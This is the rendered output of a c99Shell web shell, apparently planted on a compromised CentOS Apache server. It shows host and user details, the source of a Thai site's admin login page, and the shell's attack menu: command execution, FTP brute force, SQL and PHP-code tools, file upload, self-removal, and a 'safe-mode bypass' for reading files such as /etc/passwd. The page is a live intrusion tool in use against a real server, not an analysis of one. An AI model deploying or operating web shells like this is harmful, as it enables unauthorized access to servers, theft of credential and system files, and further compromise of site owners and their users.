!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     logi2.php (6.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("admin_menu.php");
?>
<html>
<head>
<title>Login to System</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="css/cart4.css" type="text/css">
<script type="text/javascript">
              
function handleEnter (field, event) {
        var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
        if (keyCode == 13) {
            var i;
            for (i = 0; i < field.form.elements.length; i++)
                if (field == field.form.elements[i])
                    break;
            i = (i + 1) % field.form.elements.length;
            field.form.elements[i].focus();
            return false;
        } 
        else
        return true;
    }      

</script>
<script language="JavaScript1.2">
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}
function formCheck(formobj){
    // Enter name of mandatory fields
    var fieldRequired = Array("Username","Password");
    // Enter field description to appear in the dialog box
    var fieldDescription = Array("ª×èͼÙéãªé","ÃËÑʼèÒ¹");
    // dialog message
    var alertMsg = "Please complete the following fields:\n";
    var l_Msg = alertMsg.length;
    
    for (var i = 0; i < fieldRequired.length; i++){
        var obj = formobj.elements[fieldRequired[i]];
        if (obj){
            switch(obj.type){
            case "select-one":
                if (obj.selectedIndex == -1 || obj.options[obj.selectedIndex].text == ""){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            case "select-multiple":
                if (obj.selectedIndex == -1){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            case "text":
            case "textarea":
                if (obj.value == "" || obj.value == null){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
                break;
            default:
            }
            if (obj.type == undefined){
                var blnchecked = false;
                for (var j = 0; j < obj.length; j++){
                    if (obj[j].checked){
                        blnchecked = true;
                    }
                }
                if (!blnchecked){
                    alertMsg += " - " + fieldDescription[i] + "\n";
                }
            }
        }
    }

    if (alertMsg.length == l_Msg){
        return true;
    }else{
        alert(alertMsg);
        return false;
    }
}
</script>
<link href="css/style1.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {
    font-size: 24px;
    font-weight: bold;
    color: #9933FF;
}
.style3 {color: #0000FF}
body {
    background-image: url(Image/bindertile.GIF);
}
.style10 {
    font-size: 12px;
    color: #000099;
}
.style12 {font-size: 12px}
.style13 {color: #0000FF; font-size: 10px; }
-->
</style>
</head>

<body bgcolor="#FFFFFF">
<p>&nbsp;</p>
<table width="682" height="499" border="0" cellpadding="0" cellspacing="0">
  
  <tr>
    <td height="23" colspan="3"><div align="center"></div></td>
  </tr>
  <tr> 
    <td height="23" colspan="3"><div align="center">
      <p><span class="style2"></span></p>
    </div></td>
  </tr>
  <tr> 
    <td width="128" height="285" bgcolor="#FFFFFF"> 
    <p><span class="style2"></span></p>
    <p>&nbsp;</p>
    <p>&nbsp;</p></td>
    <td width="392" background="Image/techlogin.jpg" bgcolor="#E4F3F8"><table width="94%" height="201" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#99CCFF" size="12">
        <form name="Form1" autocomplete="off" action="Checkuser.php" method="POST" onKeyUp="highlight(event)" onClick="highlight(event)" onSubmit="return formCheck(this);">
          <tr > 
            <td height="42" colspan="3" > <div align="left"><font color="#003366" size="3" face="Tahoma"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size="4">&nbsp;&nbsp;&nbsp;µÃǨÊͺÃËÑʼèÒ¹</font></strong></font></div></td>
          </tr>
          <tr> 
            <td height="20" colspan="3" bordercolor="#99CCFF">&nbsp;</td>
          </tr>
          <tr> 
            <td width="28%" height="22" bordercolor="#99CCFF" bgcolor="#CCCCFF"> 
              <div align="center" class="style3"> 
                <div align="center"><span class="style12"><font face="Tahoma">ª×èͼÙéãª</font></span><font color="#000099" size="2" face="Tahoma">é</font></div>
              </div></td>
            <td width="2%">&nbsp;</td>
            <td width="70%" bordercolor="#99CCFF"> <input name="Username" type="text"  class="input1" id="Username" onKeyPress="return handleEnter(this, event)" size="20">            </td>
          </tr>
          <tr> 
            <td height="22" bordercolor="#99CCFF" bgcolor="#CCCCFF"> <div align="center" class="style10"><font face="Tahoma">ÃËÑʼèÒ¹</font></div></td>
            <td>&nbsp;</td>
            <td bordercolor="#99CCFF"> <input name="Password" type="password" class="input1" id="Password" onKeyPress="return handleEnter(this,event)" size="20" >            </td>
          </tr>
          <tr> 
            <td height="22" colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td height="57" colspan="3"> 
              <div align="center"> 
                <input type="submit" name="Submit" value="à¢éÒÃкº" class="button2">
                &nbsp;&nbsp; 
                <input type="reset" name="Reset" value=" àÃÔèÁãËÁè " class="button2">
              </div></td>
          </tr>
        </form>
    </table>    </td>
    <td width="162"> <p>&nbsp;</p></td>
  </tr>
  <tr>
    <td height="33" colspan="3">&nbsp;</td>
  </tr>
  <tr>
    <td height="33" colspan="3">&nbsp;</td>
  </tr>
  <tr>
    <td height="33" colspan="3">&nbsp;</td>
  </tr>
  <tr> 
    <td height="33" colspan="3">
<div align="center" class="style3"><font color="#003366" size="2" face="Tahoma">ÁջѭËÒ㹡ÒÃãªéÃкº¡ÃسҵԴµèͼÙé¾Ñ²¹ÒÃкº comsit2000@yahoo.com , comsit_4@hotmail.com </font></div></td>
  </tr>
  <tr bgcolor="#FFFFFF"> 
    <td height="11" colspan="3">
<div align="center" class="style13"><font face="Tahoma">Best 
        Screen Resolution 1024*768 Text Size Medium Internet Explorer6.0 up Browser</font></div></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td height="20" colspan="3"> <div align="center"><font color="#993333" size="1" face="Tahoma">Copyright 
        @2004 . All rights reserved. Privacy Policy </font></div></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--